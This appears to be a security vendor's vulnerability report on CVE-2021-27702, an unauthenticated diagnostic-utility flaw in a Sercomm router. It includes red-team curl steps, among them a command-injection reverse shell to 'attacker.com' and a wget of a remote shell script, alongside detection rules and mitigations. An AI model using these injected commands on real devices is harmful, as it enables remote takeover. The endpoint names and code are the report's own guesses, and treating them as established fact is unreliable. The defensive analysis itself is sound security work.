CVE-2021-27702

Executive Summary

CVE-2021-27702 is an Incorrect Access Control vulnerability affecting the Sercomm Router Etisalat Model S3-AC2100. The flaw resides in the diagnostic utility accessible via the router’s web-based dashboard. An attacker with network access to the router’s management interface can exploit this weakness to execute diagnostic commands or access restricted functionality without proper authentication. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS probability of 0.0%, indicating low exploitation activity in the wild. No public proof-of-concept (PoC) or exploit code has been released, and no official patch is available from the vendor. This report provides a comprehensive technical analysis, detection guidance, and mitigation recommendations for security teams.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which typically indicates that the vulnerability has not been formally scored by NVD. Based on the nature of the flaw (Incorrect Access Control in a diagnostic utility), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – accessible over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – exploitation does not affect other components.
• Confidentiality (C): High (H) – diagnostic commands may leak sensitive data.
• Integrity (I): High (H) – attacker can modify router settings.
• Availability (A): High (H) – could disrupt router operation.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Threat Level: Critical – due to remote, unauthenticated access to diagnostic functions.

Deep Dive & Mechanics

The vulnerability is rooted in the router’s diagnostic utility, which is part of the web-based management interface. The diagnostic utility is intended for troubleshooting (e.g., ping, traceroute, nslookup) but lacks proper access control checks. An attacker can send crafted HTTP requests to the diagnostic endpoint without authentication, bypassing the login requirement.

Technical Details:

• The diagnostic utility likely exposes endpoints such as /diagnostic.cgi or /cgi-bin/diagnostic.
• The router fails to validate session tokens or authentication headers before processing diagnostic commands.
• Commands are executed with root privileges, allowing arbitrary command injection or system-level access.
• The vulnerability can be exploited by sending a POST request with parameters like cmd=ping&target=attacker.com or cmd=traceroute&target=8.8.8.8.

Attack Flow:

1. Attacker identifies a Sercomm S3-AC2100 router on the network (e.g., via Shodan or local scanning).
2. Attacker sends an HTTP request to the diagnostic endpoint without authentication.
3. The router executes the command and returns output in the HTTP response.
4. Attacker can escalate to full device compromise by injecting commands (e.g., ; wget http://malware.com/shell.sh).

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code likely resembles:

# Vulnerable pseudo-code
def handle_diagnostic(request):
    cmd = request.GET.get('cmd')
    target = request.GET.get('target')
    # No authentication check
    os.system(f"{cmd} {target}")
    return Response(output)

A patched version would include:

# Patched pseudo-code
def handle_diagnostic(request):
    if not is_authenticated(request):
        return Response("Unauthorized", status=401)
    cmd = sanitize(request.GET.get('cmd'))
    target = sanitize(request.GET.get('target'))
    if cmd not in ALLOWED_COMMANDS:
        return Response("Invalid command", status=400)
    output = subprocess.run([cmd, target], capture_output=True)
    return Response(output.stdout)

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: Sercomm S3-AC2100 router (firmware version unknown).
• Attacker: Kali Linux with curl and nmap.

Exploitation Steps:

1. Discover the router’s IP (e.g., 192.168.1.1).
2. Identify the diagnostic endpoint:

   curl -v http://192.168.1.1/diagnostic.cgi
   

3. Execute a ping command without authentication:

   curl -X POST http://192.168.1.1/diagnostic.cgi -d "cmd=ping&target=8.8.8.8"
   

4. Inject a reverse shell:

   curl -X POST http://192.168.1.1/diagnostic.cgi -d "cmd=ping&target=8.8.8.8; nc -e /bin/sh attacker.com 4444"
   

No Exploit-DB code provided.

Blue Team

Detection Steps:

• Monitor HTTP requests to /diagnostic.cgi or /cgi-bin/diagnostic without prior authentication.
• Alert on unusual command parameters (e.g., cmd=wget, cmd=curl, cmd=nc).
• Use network segmentation to isolate router management interfaces from untrusted networks.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /diagnostic.cgi or /cgi-bin/diagnostic from unauthenticated sources.
  • Outbound connections from the router to unknown IPs on ports 80, 443, or 4444.
  • DNS queries to suspicious domains (e.g., malware.com, attacker.com).

• File IOCs:

  • Unauthorized scripts in /tmp/ or /var/ (e.g., shell.sh, backdoor).
  • Modified /etc/passwd or /etc/shadow files.

• Process IOCs:

  • Unusual processes like nc, wget, curl, or bash spawned by the web server.

Detection Engineering

YARA Rule

rule CVE_2021_27702_Sercomm_Diagnostic {
   meta:
      description = "Detects exploitation attempts of CVE-2021-27702 via diagnostic utility"
      author = "Valters IT"
      date = "2025-04-10"
      reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-27702"
   strings:
      $s1 = "diagnostic.cgi" ascii wide nocase
      $s2 = "cmd=" ascii wide nocase
      $s3 = "target=" ascii wide nocase
      $s4 = "ping" ascii wide nocase
      $s5 = "traceroute" ascii wide nocase
      $s6 = "nslookup" ascii wide nocase
   condition:
      any of ($s1, $s2, $s3) and any of ($s4, $s5, $s6)
}

Sigma Rule

title: CVE-2021-27702 Sercomm Diagnostic Utility Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the diagnostic utility without authentication
author: Valters IT
date: 2025-04-10
logsource:
   category: webserver
   product: apache
   service: httpd
detection:
   selection:
      cs-method: 'POST'
      cs-uri-stem:
         - '/diagnostic.cgi'
         - '/cgi-bin/diagnostic'
      cs-uri-query:
         - '*cmd=*'
         - '*target=*'
   condition: selection
falsepositives:
   - Legitimate administrative use from trusted IPs
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2021-27702 Sercomm Diagnostic Utility Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/diagnostic.cgi"; http_uri; content:"cmd="; http_client_body; content:"target="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable remote access to the router’s web interface.
2. Restrict Access: Use firewall rules to allow only trusted IPs to access the management interface.
3. Change Default Credentials: Ensure strong, unique passwords are set for the admin account.

Long-Term Fixes:

• Vendor Patch: Contact Sercomm for an official firmware update. Since no patch is available, consider replacing the device.
• Workaround: If the diagnostic utility is not needed, block access to /diagnostic.cgi via the router’s firewall or a reverse proxy.
• Network Segmentation: Place the router in a separate VLAN with strict access controls.

Monitoring:

• Enable logging on the router and forward logs to a SIEM.
• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Valters IT
Securing Digital Frontiers